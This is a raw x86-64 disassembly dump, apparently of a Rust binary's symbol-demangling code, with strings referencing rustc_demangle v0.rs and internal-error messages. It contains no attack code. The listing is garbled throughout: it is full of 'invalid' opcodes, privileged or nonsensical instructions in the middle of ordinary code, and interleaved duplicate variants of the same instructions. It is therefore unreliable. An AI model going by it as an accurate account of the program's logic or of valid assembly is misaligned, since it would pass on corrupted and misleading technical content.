or al, byte [rax]
add byte [rax], al
jmp 0x1400ca029
mov rcx, qword [rsi + 0x20]
and byte [rax - 0x7b], cl
leave
je 0x1400c9ef0
add byte [rax], al
jmp 0x1400ca029
lea rdx, [0x140140bf1]
mov r8d, 1
call fcn.140013600
invalid
xchg edi, eax
hlt
invalid
invalid
sbb edx, dword [rdi - 0x48bf000c]
add dword [rax + rax*8 - 0x2af7af1], eax
invalid
mov dil, 1
mov bh, 1
test al, al
jne 0x1400c9c40
mov rcx, rsi
call fcn.1400cca00
sub eax, dword [rax]
invalid
sub eax, dword [rax]
add byte [rax - 0x49], al
add dword [rax - 0x7b], ecx
test rax, rax
invalid
invalid
cmp al, 0xfd
invalid
add byte [rax], al
mov dil, 1
test rax, rax
jne 0x1400c9c40
cmp rdx, 1
cmp edx, 1
cli
add dword [rbp + 0x27], esi
jne 0x1400c9f31
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400ca031
lea rdx, str._____
mov r8d, 1
call fcn.140013600
xchg esi, eax
hlt
invalid
test al, al
xchg esi, eax
hlt
jne 0x1400c9c40
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je 0x1400ca031
lea rdx, [0x14014a1c8]
mov r8d, 1
call fcn.140013600
jmp 0x1400ca029
mov al, 0x96
hlt
add byte [rax], al
xor ecx, ecx
cmp bl, 0x50
sti
push rax
jne 0x1400c9ffc
add byte [rax], al
add byte [rax - 0x7b], cl
leave
test rcx, rcx
je 0x1400ca01e
add byte [rax - 0x73], cl
adc eax, 0x76fe6
out 0x6f, al
invalid
invalid
lea rdx, [0x140140f63]
out 0x6f, al
outsd dx, dword [rsi]
invalid
mov r8d, 6
jmp 0x1400ca00e
add byte [rax], al
invalid
add cl, ch
xchg byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax - 0x75], cl
mov ecx, dword [rsi + 0x20]
test rcx, rcx
mov rcx, qword [rsi + 0x20]
mov ecx, dword [rsi + 0x20]
test rcx, rcx
je 0x1400c9c33
sahf
cld
invalid
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
invalid
add byte [rax], al
call fcn.140013600
test al, al
hlt
je 0x1400c9c33
jmp 0x1400c9c40
cld
invalid
mov edx, dword [rbp]
push rbp
add byte [rax - 0x7b], cl
sal byte [rsi + rsi + 0x48], cl
mov ecx, esi
pop rbx
or dword [rax], eax
add byte [rax - 0x49], al
mov bh, 1
test al, al
invalid
test dword [rax - 4], esi
ror byte [rdi], 0x85
jo case.0x140094a12.278
invalid
adc eax, 0x76f7e
cld
invalid
inc dword [rax + 0x267452fb]
outsd dx, dword [rsi]
invalid
xchg ebp, eax
hlt
mov bh, 1
add dword [rax + rax*8 - 0x3dd7af1], eax
ror byte [rdi], 0x85
and bh, ah
invalid
int1
invalid
sti
invalid
test ecx, ecx
leave
adc eax, 0x76ec9
mov eax, 0x10
cmpsb byte [rsi], byte [rdi]
xchg ebp, eax
hlt
inc dword [rax - 0x49]
add dword [rax + rax*8 - 0x4247af1], eax
invalid
test ebx, ebx
sti
invalid
dec dword [rax - 0x39]
invalid
retf 0xfffb
sti
invalid
int3
int3
int3
push rbx
sub rsp, 0x20
lea rbp, [rsp + 0x20]
mov rax, qword [rcx]
mov eax, dword [rcx]
mov eax, dword [rcx]
test rax, rax
je 0x1400ca0f7
invalid
mov rdi, rcx
xor esi, esi
test byte [rax - 0x73], 0x1d
cmpsb byte [rsi], byte [rdi]
outsb dx, byte [rsi]
invalid
add byte [rbp + 0x31], al
mul byte [rsi + 0x2e]
nop dword [rax + rax]
invalid
test byte [rax - 0x73], 0x1d
cmpsb byte [rsi], byte [rdi]
outsb dx, byte [rsi]
invalid
add byte [rax - 0x75], cl
adc byte [r8 + 0x3b], r9b
or byte [r11 + 6], r14b
mov rcx, qword [rdi + 0x10]
cmp rcx, qword [rdi + 8]
jae 0x1400ca0c0
cmp byte [rax + rcx], 0x45
je case.0x1400a9a80.181
cmp al, 8
je case.0x1400a9a80.181
sub r14, 1
sub esi, 1
jb 0x1400ca0e1
mov rcx, qword [rdi + 0x20]
test rcx, rcx
je 0x1400ca0e1
mov r8d, 2
add al, byte [rax]
add byte [rax], al
mov rdx, rbx
mov edx, ebx
call fcn.140013600
test al, al
jne 0x1400ca0fb
inc dword [rax + rax*8 - 0x76b7e58b]
stc
mov rcx, rdi
call case.0x1400970a3.244
test al, al
jne 0x1400ca0fb
invalid
mov rax, qword [rdi]
test rax, rax
jne case.0x1400978a6.223
invalid
mov ebx, 0xf63114eb
jmp 0x1400ca10b
xor esi, esi
jmp 0x1400ca10b
mov esi, 1
jmp 0x1400ca10b
invalid
or dword [rax - 1], ecx
inc rcx
mov qword [rdi + 0x10], rcx
xor esi, esi
invalid
ror dword [rax - 0x77], 0x4f
adc byte [rcx], dh
test byte [rax - 0x77], 0xf0
mov rax, rsi
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
int3
lea ebp, [rsp + 0x20]
and al, 0x20
and byte [rbx + rcx*4 + 1], cl
test eax, eax
sal byte [rsp + rcx*2 + 0x4c], 0x8b
or byte [r8 - 0x75], cl
invalid
invalid
adc byte [r9 + rdi - 0x38], cl
mov dh, 0x14
add byte [rbx + 0x41744bfa], al
cmp edx, 0x4b
je 0x1400ca18b
cli
jne 0x1400ca17f
push rax
add dword [rcx + rcx*4 + 0x51], ecx
adc byte [rbp + 0x39], cl
retf 0x830f
stosd dword [rdi], eax
add byte [rax], al
add byte [rbx - 0x80], al
cmp byte [r8 + r10], 0x5f
add cl, byte [rax - 0x77]
adc byte [r9], sil
ror byte [rax - 0x77], 0xc2
movabs eax, dword [0x28c4834890000007]
add esp, 0x28
mov dword [rcx + 0x10], eax
adc byte [rcx], dh
ror byte [rax - 0x7d], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rsi + 0xf], ah
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
invalid
invalid
mov dh, 0x14
add byte [rax], al
movzx edx, byte [rax + rdx]
adc byte [rax + 0x41745ffa], al
cli
pop rdi
dec byte [rdx]
sbb al, 0x8d
jb 0x1400ca165
lahf
lahf
sbb dh, byte [rbx + 5]
mov edi, 0x1afe8040
cmp dh, 0x1a
invalid
invalid
inc edx
ret 0x894c
adc byte [rcx - 9], cl
jrcxz 0x1400ca25a
invalid
mul ebx
and byte [rax + 0xf], al
mov dh, 0xd6
movzx edx, dh
cmp edx, ecx
inc edx
push rcx
adc byte [rax - 1], cl
inc eax
invalid
invalid
invalid
inc eax
and byte [r8 - 0x7b], cl
sal byte [rbx + riz + 0x48], 0x8d
adc eax, 0x76cfd
std
insb byte [rdi], dx
invalid
invalid
test eax, eax
std
insb byte [rdi], dx
invalid
add byte [rcx - 0x48], al
adc byte [rax], al
add byte [rax], al
mov esi, ecx
xchg ebx, eax
hlt
mov ecx, esi
int1
add dword [rdx + rdx*8 - 0x38b7f28b], eax
add dword [rax], eax
or eax, 0x1c748
add byte [rax], al
add dh, al
or byte [r8], al
or byte [rax], al
or byte [rax], al
add byte [rcx], dh
ror byte [rax - 0x7d], 0xc4
invalid
invalid
sub byte [rsi + 0x5d], bl
sub esp, 0x38
in al, dx
cmp byte [rax - 0x73], cl
insb byte [rdi], dx
and al, 0x30
mov eax, dword [rcx]
add dword [rbp - 0x7b], ecx
test eax, eax
ror byte [rdi], 0x84
sahf
add al, 0
add byte [rbx + rcx*4 + 0x56], cl
mov r10, qword [rsi + 8]
invalid
invalid
mov ecx, dword [rsi + 0x10]
adc byte [rcx + r15 - 0x2f], r9b
ror dword [rdi], 1
and dword [rdi - 0x76ffffff], 0xffffffd0
add byte [rax], al
mov eax, edx
add byte [rax], al
add byte [rcx - 0x49f0be30], cl
adc al, 8
movzx edx, byte [rax + rcx]
mov dh, 0x14
or byte [rbp + rcx*4 + 0x49], cl
lea ecx, [rcx + 1]
invalid
invalid
invalid
lea ecx, [rcx + 1]
add qword [r9 + rcx*4 + 0x4e], rcx
adc byte [rbx + r9*4 + 0x5e], r8b
adc byte [rbx + rcx*4 + 0x5e], al
sbb byte [rcx - 1], al
ret
mov dword [rsi + 0x18], ebx
pop rsi
sbb byte [rcx - 0x7f], al
invalid
cmp ebx, 0x1f4
sti
hlt
add dword [rax], eax
add byte [rsi + 0x36], dh
invalid
mov rcx, qword ss:[rsi + 0x20]
mov ecx, dword [rsi + 0x20]
leave
sbb eax, 0x78158d48
insb byte [rdi], dx
invalid
js 0x1400ca31a
add al, ch
xchg r11d, eax
hlt
inc dword [rax - 0x49]
add dword [rax + rax*8 + 0x469850f], eax
invalid
test dword [rcx + 4], ebp
add byte [rax], al
add byte [rax - 0x39], cl
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add dh, al
or byte [rcx], r8b
or byte [rcx], al
add byte [rax], al
mov dh, 0xda
fiadd dword [rcx - 0x7d]
ret
mov edi, 0x38fb8341
xchg dword [rcx + rax], edi
add byte [rax], al
add dword [rax], eax
add byte [rax - 0x73], cl
lea edi, [0x140174d2c]
stosb byte [rdi], al
or al, byte [rax]
stosb byte [rdi], al
or al, byte [rax]
invalid
sbb al, 0x9f
sti
cmp byte [rax + rcx], 0x6e
cmp al, 8
outsb dx, byte [rsi]
xor eax, 0x2c18348
mov dword [rsi + 0x10], ecx
adc byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
invalid
test ecx, ecx
leave
add eax, 0x76a2c
sub al, 0x6a
invalid
add byte [rcx - 0x48], al
add dword [rax], eax
invalid
add byte [rax], al
add byte [rcx - 0x3d76b72d], cl
invalid
add byte [rax], al
ret 0xd3e8
dec dword [rcx + 0x1b740da]
mov bh, 1
mov ecx, esi
add byte [rax], al
test edx, esp
add eax, dword [rax]
add byte [rax - 0x7d], cl
add byte ds:[rdi], cl
add byte [rdi], cl
invalid
test dh, dl
add eax, dword [rax]
add bh, bh
sbb cl, r13b
invalid
add eax, dword [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
lea ecx, [rbp - 8]
bnd call fcn.1400caf70
invalid
add byte [rax], al
cmp edx, 1
test edx, edx
add byte [rax], al
add byte [rax - 0x75], cl
and byte [rax - 0x7b], r9b
leave
mov eax, 5
add byte [rcx], dh
fucomi st(1)
stosd dword [rdi], eax
add al, byte [rax]
add byte [rax - 0x73], cl
lea rcx, [rbp - 8]
clc
leave
int3
mov rbx, rcx
mov ebx, ecx
xor edi, edi
lea r14, [0x140140f49]
xor esi, esi
nop word cs:[rax + rax]
mov rcx, qword [rbx + 0x10]
cmp rcx, qword [rbx + 8]
jae 0x1400cb670
cmp byte [rax + rcx], 0x45
je 0x1400cb6b8
test rsi, rsi
je 0x1400cb690
mov rcx, qword [rbx + 0x20]
test rcx, rcx
je 0x1400cb690
mov r8d, 2
mov rdx, r14
call fcn.140013600
test al, al
jne 0x1400cb6b1
invalid
and dword [rax - 0x77], ecx
fnstenv [rdx - 0x144917ff]
invalid
mov rcx, rbx
mov dl, 1
call case.0x1400aa870.155
test al, al
jne 0x1400cb6b1
inc rsi
mov rax, qword [rbx]
test rax, rax
jne case.0x140066038.504
invalid
mov bh, 0xeb
invalid
jmp 0x1400cb6c1
jmp 0x1400cb6c1
mov edi, 1
jmp 0x1400cb6c1
inc rcx
mov qword [rbx + 0x10], rcx
xor edi, edi
mov rax, rdi
mov rdx, rsi
add rsp, 0x20
add esp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x1400cb734
cmp byte [r8 + rax], 0x45
je 0x1400cb932
test r15, r15
je case.0x14006a01c.490
mov rcx, qword [rsi + 0x20]
test rcx, rcx
test ecx, ecx
test ecx, ecx
je case.0x14006a01c.490
mov r8d, 2
lea rdx, [0x140140f49]
push rdi
invalid
invalid
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x757fa
push rdi
invalid
invalid
push rdi
invalid
call fcn.140013600
test al, al
jne case.0x140093752.339
inc dword [rax + rax*8 + 0x198850f]
add byte [rax], al
mov r8, qword [rsi]
test r8, r8
je 0x1400cb7a5
invalid
mov r9, qword [rsi + 8]
mov rax, qword [rsi + 0x10]
cmp rax, r9
jae 0x1400cb860
add byte [rax], al
add byte [rax], al
cmp byte [r8 + rax], 0x73
jne 0x1400cb860
lea rcx, [rax + 1]
mov qword [rsi + 0x10], rcx
cmp rcx, r9
jae 0x1400cb8d5
add dword [rcx + rax], 0
cmp byte [r8 + rcx], 0x5f
jne 0x1400cb7d7
add rax, 2
mov qword [rsi + 0x10], rax
jmp 0x1400cb860
mov rcx, qword [rsi + 0x20]
test rcx, rcx
je 0x1400cb960
mov r13d, 1
mov r8d, 1
lea rdx, [0x140140f41]
call fcn.140013600
test al, al
je 0x1400cb8c1
xor eax, eax
nop dword [rax]
movzx edx, byte [r8 + rcx]
cmp dl, 0x5f
je 0x1400cb84b
lea r10d, [rdx - 0x30]
cmp r10b, 0xa
jb 0x1400cb824
lea r10d, [rdx - 0x61]
cmp r10b, 0x1a
jae 0x1400cb810
add dl, 0xa9
jmp 0x1400cb821
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
lea r10d, [rdx - 0x41]
cmp r10b, 0x1a
mov edi, 0x1afa8041
jae 0x1400cb8d5
mov bh, 0
add byte [rax], al
add dl, 0xe3
mov r10d, edx
inc rcx
mov qword [rsi + 0x10], rcx
adc byte [rcx - 9], r9b
in al, 0xf
invalid
invalid
add byte [rax], al
invalid
movzx edx, r10b
add rax, rdx
jb 0x1400cb8d5
add byte [rax], al
invalid
cmp rcx, r9
jb 0x1400cb7e0
inc rcx
mov qword [rsi + 0x10], rcx
cmp rax, 0xfffffffffffffffd
ja 0x1400cb8d5
nop dword [rax]
mov rcx, rdi
mov rdx, rsi
call fcn.1400c9250
cmp qword [rbp - 0x18], 0
je 0x1400cb909
in eax, 0xd9
invalid
movups xmm0, xmmword [rbp - 0x18]
movups xmm1, xmmword [rbp - 8]
movaps xmmword [rbp - 0x30], xmm1
movaps xmmword [rbp - 0x40], xmm0
ror byte [r15], 1
sub dword [rbp - 0x40], eax
mov r13, qword [rsi + 0x20]
test r13, r13
je 0x1400cb8b3
mov rcx, rbx
mov rdx, r13
call fcn.1400c9440
test al, al
jne case.0x140093752.339
mov r8d, 2
mov rcx, r13
mov rdx, r14
call fcn.140013600
test al, al
jne case.0x140093752.339
mov rcx, rsi
mov dl, 1
call case.0x1400aa870.155
test al, al
jne case.0x140093752.339
mov r8, qword [rsi]
inc r15
test r8, r8
jne 0x1400cb71c
jmp 0x1400cb960
mov rcx, qword [rsi + 0x20]
test rcx, rcx
leave
leave
je 0x1400cb8fc
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013600
test al, al
je 0x1400cb8fc
mov r13d, 1
jmp 0x1400cb963
mov qword [rsi], 0
mov byte [rsi + 8], 0
or byte [rax], r8b
or byte [rax], r8b
jmp 0x1400cb960
movzx ebx, byte [rbp - 0x10]
mov rcx, qword [rsi + 0x20]
test bl, bl
je case.0x140094a12.314
pop rbp
invalid
test rcx, rcx
test ecx, ecx
je 0x1400cb956
lea rdx, [0x140140f28]
mov r8d, 0x19
add byte [rax], al
add al, ch
invalid
jl 0x1400cb91f
invalid
test al, al
jne case.0x140093752.339
invalid
add byte [rax], al
add al, ch
invalid
inc dword [rax + rax*8 + 0x24ebc475]
jmp 0x1400cb956
inc rax
mov qword [rsi + 0x10], rax
jmp 0x1400cb960
test rcx, rcx
je 0x1400cb956
lea rdx, str.invalid_syntaxrecursion_limit_reached_for_____::closureshim_as__mut_const___dyn___unsafe_extern__
mov r8d, 0x10
call fcn.140013600
test al, al
push rbp
invalid
jne case.0x140093752.339
mov qword [rsi], 0
mov byte [rsi + 8], bl
xor r13d, r13d
mov rax, r13
add rsp, 0x68
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
add byte [rax - 0x73], cl
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax], al
mov rdx, qword [rcx + 8]
invalid
invalid
invalid
add byte [rax], al
mov rdx, qword [rcx + 8]
mov r8, qword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
mov eax, dword [rcx + 0x20]
and byte [rax + 0x110001], bh
mov eax, 0x110001
add byte [rcx + rbp - 0x3e], cl
sub rdx, r8
sub edx, eax
jb 0x1400cbd51
add eax, dword [rax]
add byte [rax - 0x75], cl
add dword [rsi - 0x73], ecx
or al, 0
invalid
mov rax, qword [rcx]
lea r9, [rax + r8]
invalid
add byte [rcx + rcx*4 + 9], cl
mov qword [rcx], r9
mov qword [rcx + 8], rdx
cmp r8, 2
invalid
or byte [rcx - 0x7d], cl
clc
add cl, byte [rdi]
test dword [rax + 0x44000003], ebp
movzx r10d, byte [rax]
jne 0x1400cbd69
movzx r10d, byte [rax]
movzx r8d, byte [rax + 1]
lea eax, [r10 - 0x30]
lea eax, [rdx - 0x30]
add dword [rcx - 0x73], eax
rol byte [rbx + 0x1e720af8], 1
clc
or dh, byte [rdx + 0x1e]
cmp eax, 0xa
jb case.0x140094a12.353
clc
or dh, byte [rdx + 0x1e]
or r10d, 0x20
or edx, 0x20
and byte [rcx - 0x7d], al
ret 0x419f
lahf
invalid
add r10d, 0xffffff9f
lahf
add r10d, 0xa
mov eax, 0xffffffff
invalid
invalid
invalid
invalid
cmovae eax, r10d
cmp eax, 0x10
jae 0x1400cbd5d
add byte [rax], al
adc byte [rdi], cl
sub dword [rbx + rax], 0
add byte [rax], al
add byte [rax], al
lea r10d, [r8 - 0x30]
cmp r10d, 0xa
cmp edx, 0xa
cmp edx, 0xa
cli
or dh, byte [rdx + 0x20]
jb 0x1400cba1b
or r8d, 0x20
add r8d, 0xffffff9f
add r8d, 0xa
or al, byte [rcx - 0x46]
invalid
invalid
invalid
inc dword [rbp + 0xf]
rol byte [r9 - 0x7d], 1
rol byte [rcx - 0x7d], 1
cli
adc byte [rdi], cl
add dword [rdx + 3], 0
invalid
or al, byte [rcx - 0x46]
rol byte [rcx - 0x7d], 1
cli
adc byte [rdi], cl
add dword [rdx + 3], 0
add al, al
loopne 0x1400cba22
shl al, 4
or r10b, al
js 0x1400cba68
mov byte [rbp + 0x34], r10b
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
lea rax, [rbp + 0x34]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x28], 1
mov r8d, 1
lea rsi, [rbp - 0x18]
lea rdx, [rbp + 0x34]
mov rcx, rsi
call fcn.1400142e0
cmp qword [rbp - 0x18], 0
je 0x1400cba87
mov eax, 0x110000
jmp 0x1400cbd51
mov eax, 0x110000
cmp r10b, 0xc0
add byte [rcx], dl
add byte [rcx - 0x80], al
cli
ror byte [rdi], 0x82
jb 0x1400cbd51
jb 0x1400cbd51
cmp r10b, 0xe0
cmp dl, 0xe0
jae 0x1400cbac1
mov r8d, 2
add al, byte [rax]
add byte [rax], al
xor eax, eax
jmp 0x1400cbad3
invalid
mov rcx, qword [rbp - 0x10]
mov rcx, qword [rbp - 0x10]
mov rax, qword [rbp - 8]
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x20], rax
mov dword [rbp - 0x20], eax
mov dword [rbp - 0x20], eax
lea rdx, [rcx + rax]
test rax, rax
je case.0x14009a63c.280
movzx eax, byte [rcx]
test al, al
js 0x1400cbc5a
invalid
scasd eax, dword [rdi]
add dword [rax], eax
invalid
mov byte [rdi + 0x4c000001], ch
lea eax, [rcx + 1]
invalid
invalid
lea r8, [rcx + 1]
add r9d, ebp
and byte [rdx], al
add byte [rax], al
jmp 0x1400cbcd4
mov eax, 0x110000
mov r8, rcx
enter 0x13e9, 2
add byte [rax], al
enter 0x13e9, 2
add byte [rax], al
cmp r10b, 0xf0
cmp dl, 0xf0
jae 0x1400cbca1
mov r8d, 3
mov al, 1
mov byte [rbp + 0x34], r10b
mov word [rbp + 0x35], 0
mov byte [rbp + 0x37], 0
lea r11, [rbp + 0x34]
mov qword [rbp + 0x20], r11
mov qword [rbp + 0x28], r8
cmp rdx, 2
jb 0x1400cba5e
movzx ebx, byte [rcx]
movzx edi, byte [r9 + 1]
lea esi, [rbx - 0x30]
cmp esi, 0xa
jb case.0x14009f75c.273
or ebx, 0x20
add ebx, 0xffffff9f
add ebx, 0xa
mov esi, 0xffffffff
cmovae esi, ebx
cmp esi, 0xf
invalid
invalid
ja 0x1400cbd5d
add byte [rbp - 0x47c2fa1], cl
or dh, byte [rdx + 0x1a]
sbb al, byte [rbx - 0x387cdf31]
lahf
lea ebx, [rdi - 0x30]
cmp ebx, 0xa
jb 0x1400cbb53
invalid
sbb al, byte [rbx - 0x387cdf31]
lahf
add edi, 0xa
mov ebx, 0xffffffff
invalid
invalid
invalid
invalid
dec dword [rdi]
fild word [r11 - 0x78f0f005]
cmp ebx, 0xf
invalid
xchg dword [rdx], ecx
invalid
cmovae ebx, edi
cmp ebx, 0xf
ja 0x1400cbd5d
add byte [rax], al
add byte [rax], al
shl sil, 4
or bl, sil
or bl, dh
or bl, dh
mov byte [rbp + 0x35], bl
cmp r10b, 0xe0
cli
invalid
pop rbp
xor eax, 0xe0fa8041
cli
invalid
cli
loopne 0x1400cbb71
jb 0x1400cba47
invalid
dec dword [rcx - 0x7d]
sti
add cl, byte [rdi]
invalid
cmp r11, 2
jb 0x1400cba5e
invalid
invalid
invalid
lea r11, [r9 + 4]
lea r10, [rdx - 4]
add al, 0x4c
lea edx, [rdx - 4]
mov qword [rcx], r11
mov qword [rcx + 8], r10
movzx edi, byte [r9 + 2]
movzx esi, byte [r9 + 3]
jno 0x1400cbb8d
jno 0x1400cbb8d
lea r11d, [rdi - 0x30]
lea ebx, [rdi - 0x30]
rol byte [rcx - 0x7d], 1
sti
or dh, byte [rdx + 0x1d]
cmp r11d, 0xa
jb 0x1400cbbb1
or edi, 0x20
add edi, 0xffffff9f
add edi, 0xa
mov r11d, 0xffffffff
cmovae r11d, edi
cmovae ebx, edi
cmovae ebx, edi
cmp r11d, 0xf
ja 0x1400cbd5d
lea edi, [rsi - 0x30]
cmp edi, 0xa
or dh, byte [rdx + 0x1a]
rol byte [rbx + 0x1a720aff], 1
or dh, byte [rdx + 0x1a]
sbb al, byte [rbx - 0x397cdf32]
lahf
or esi, 0x20
add esi, 0xffffff9f
invalid
lahf
invalid
add esi, 0xa
mov edi, 0xffffffff
invalid
invalid
invalid
invalid
dec dword [rdi]
inc byte [r11 - 0x78f0f001]
dec dword [rdi]
ja 0x1400cbd5d
cmovae edi, esi
cmp edi, 0xf
dec dword [rdi]
dec dword [rdi]
invalid
ja 0x1400cbd5d
add byte [rcx - 0x40], al
jrcxz case.0x1400aa870.204
shl r11b, 4
shl bl, 4
or dil, r11b
mov byte [rbp + 0x36], dil
mov byte [rbp + 0x36], bh
test al, al
jne 0x1400cba47
test dword [rcx - 2], esp
invalid
invalid
invalid
cmp r10, 2
jb 0x1400cba5e
invalid
cli
add cl, byte [rdi]
invalid
dec dword [rcx - 0x73]
invalid
lea rax, [r9 + 6]
add rdx, 0xfffffffffffffffa
invalid
cli
ret 0x48fa
cli
mov qword [rcx], rax
mov qword [rcx + 8], rdx
mov dword [rcx + 8], edx
mov dword [rcx + 8], edx
push rcx
or byte [rcx + 0xf], al
mov dh, 0x51
add al, 0x41
movzx ecx, byte [r9 + 5]
movzx edx, byte [r9 + 4]
movzx ecx, byte [r9 + 5]
lea eax, [rdx - 0x30]
cmp eax, 0xa
jb 0x1400cbc2b
invalid
rol byte [rbx + 0x1a720af8], 1
rol byte [rbx + 0x1a720af8], 1
sbb al, byte [rbx - 0x3d7cdf36]
lahf
or edx, 0x20
add edx, 0xffffff9f
retf 0x8320
add edx, 0xa
mov eax, 0xffffffff
invalid
ret 0xb80a
dec dword [rdi]
ret 0xf883
cmovae eax, edx
cmp eax, 0xf
ja 0x1400cbd5d
xchg dword [rdx], esi
add dword [rax], eax
add byte [rbp - 0x57c2faf], cl
push rcx
rol byte [rbx + 0x1a720afa], 1
xor al, byte [rcx]
add byte [rax], al
lea edx, [rcx - 0x30]
cmp edx, 0xa
jb 0x1400cbc4d
push rcx
rol byte [rbx + 0x1a720afa], 1
or ecx, 0x20
add ecx, 0xffffff9f
add ecx, 0xa
ror dword [rdx], 0xba
invalid
invalid
invalid
invalid
ror dword [rdx], 0xba
or bh, byte [rdx - 1]
dec dword [rdi]
rol dword [r11 - 0x78f0f006], 1
xchg dword [rax], edx
add dword [rax], eax
add byte [rax], al
cmovae edx, ecx
cmp edx, 0xf
ja 0x1400cbd5d
xchg dword [rax], edx
add dword [rax], eax
add byte [rax], al
xchg dword [rax], edx
add dword [rax], eax
add byte [rax], al
invalid
shl al, 4
loopne case.0x1400c3586.123
add al, 8
ret 0x5588
or dl, al
mov byte [rbp + 0x37], dl
invalid
invalid
jmp 0x1400cba47
in eax, dx
std
invalid
mov r9d, eax
and r9d, 0x1f
movzx r11d, byte [rcx + 1]
movzx ebx, byte [rcx + 1]
rol dword [rcx - 0x7d], 0xe1
invalid
movzx ebx, byte [rcx + 1]
mov dh, 0x59
add dword [rcx - 0x7d], eax
jrcxz 0x1400cbca9
invalid
and r11d, 0x3f
invalid
cmp al, 0xdf
jbe 0x1400cbcb6
movzx r10d, byte [rcx + 2]
shl r11d, 6
mov dh, 0x51
add al, byte [rcx - 0x3f]
jrcxz 0x1400cbc7d
invalid
and r10d, 0x3f
or r10d, r11d
fidivr dword [rax + rsi*8]
cmp al, 0xf0
jb 0x1400cbcc6
lea r8, [rcx + 4]
movzx eax, byte [rcx + 3]
and r9d, 7
add al, 0xf
mov dh, 0x41
add eax, dword [rcx - 0x7d]
loope 0x1400cbc95
and ecx, 7
shl r9d, 0x12
shl r10d, 6
loop 0x1400cbc9c
and eax, 0x3f
or eax, r10d
or eax, r9d
jmp 0x1400cbcd4
invalid
xor eax, dword [rcx - 0x80]
cli
clc
cmp r10b, 0xf8
jae 0x1400cbd51
and dword [rsi + 0x41000000], 0xffffffb8
cmpsb byte [rsi], byte [rdi]
add byte [rax], al
add byte [rcx - 0x48], al
mov r8d, 4
add al, 0
add byte [rax], al
add byte [rax], al
add cl, ch
int 0xfd
jmp 0x1400cba83
invalid
lea r8, [rcx + 2]
shl r9d, 6
shl ecx, 6
shl ecx, 6
or r9d, r11d
mov eax, r9d
mov eax, ecx
mov eax, ecx
jmp 0x1400cbcd4
lea r8, [rcx + 3]
shl r9d, 0xc
or r10d, r9d
mov eax, r10d
cmp r8, rdx
je 0x1400cbd42
sal byte [rcx + rbp*2 + 0x45], 1
movzx ecx, byte [rax]
movzx r9d, byte [r8]
test r9b, r9b
jns 0x1400cbd81
add byte [rax], al
add byte [rax], al
cmp r9b, 0xe0
jb 0x1400cbd81
invalid
cmp r9b, 0xf0
cmp cl, 0xf0
stc
invalid
jb 0x1400cbd81
add byte [rax], al
movzx r10d, byte [r8 + 1]
and r10d, 0x3f
movzx r11d, byte [r8 + 2]
pop rax
add al, byte [rcx - 0x7d]
and r11d, 0x3f
pop rax
add al, byte [rcx - 0x7d]
and r11d, 0x3f
movzx r8d, byte [r8 + 3]
and r9d, 7
shl r9d, 0x12
shl ecx, 0x12
shl r10d, 0xc
shl r11d, 6
or r11d, r10d
and r8d, 0x3f
or r8d, r11d
fadd dword [rbp + 9]
enter 0xffffffffffff8141, 0xfffffffffffffff8
add byte [rax], al
adc dword [rax], eax
fadd dword [rbp + 9]
enter 0xffffffffffff8141, 0xfffffffffffffff8
add byte [rax], al
adc dword [rax], eax
sete r8b
cmp eax, 0x110000
jne 0x1400cbd4c
invalid
sar byte [0x1401dbd3f], 0x75
or al, 0xeb
invalid
jmp 0x1400cbd81
mov r8b, 1
cmp eax, 0x110000
add byte [rax], al
adc dword [rax], eax
add byte [rax], al
adc dword [rax], eax
je 0x1400cbd81
xor eax, 0x74c08445
xor byte [rax - 0x7f], cl
invalid
test r8b, r8b
je 0x1400cbd81
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
call fcn.140104a40
lea rcx, str.internal_error:_entered_unreachable_code_rustc_88c2f4f5f50ace5ddc7655ea311435104d3659bdlibrary_std_src_threadmod.rs
lea r8, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
mov edx, 0x28
call fcn.1401046f0
call fcn.1400cc010
mov qword [rbp + 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x18], rax
lea rax, [0x1400cc0f0]
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x28]
mov qword [rbp - 8], rax
lea rax, [0x1400d7640]
mov qword [rbp], rax
lea rax, [rbp + 0x18]
mov qword [rbp + 8], rax
lea rax, [fcn.140012c90]
mov qword [rbp + 0x10], rax
lea rax, str.internal_error:_entered_unreachable_code:_str::from_utf8_____was_expected_to_have_1_char__but__chars_were_found
mov qword [rbp - 0x58], rax
mov qword [rbp - 0x50], 4
mov qword [rbp - 0x38], 0
mov qword [rbp - 0x48], rsi
mov qword [rbp - 0x40], 3
lea rdx, str._rust_deps_rustc_demangle_0.1.23_src_v0.rs
lea rcx, [rbp - 0x58]
call fcn.140104620
int3
mov al, 1
jmp 0x1400cd6d9
mov rcx, qword [rsi + 0x10]
cmp rcx, qword [rsi + 8]
jae 0x1400cd4d0
cmp byte [rax + rcx], 0x45
je 0x1400cd53c
or byte [rbp + 0x74], al
insb byte [rdi], dx
sub rbx, 1
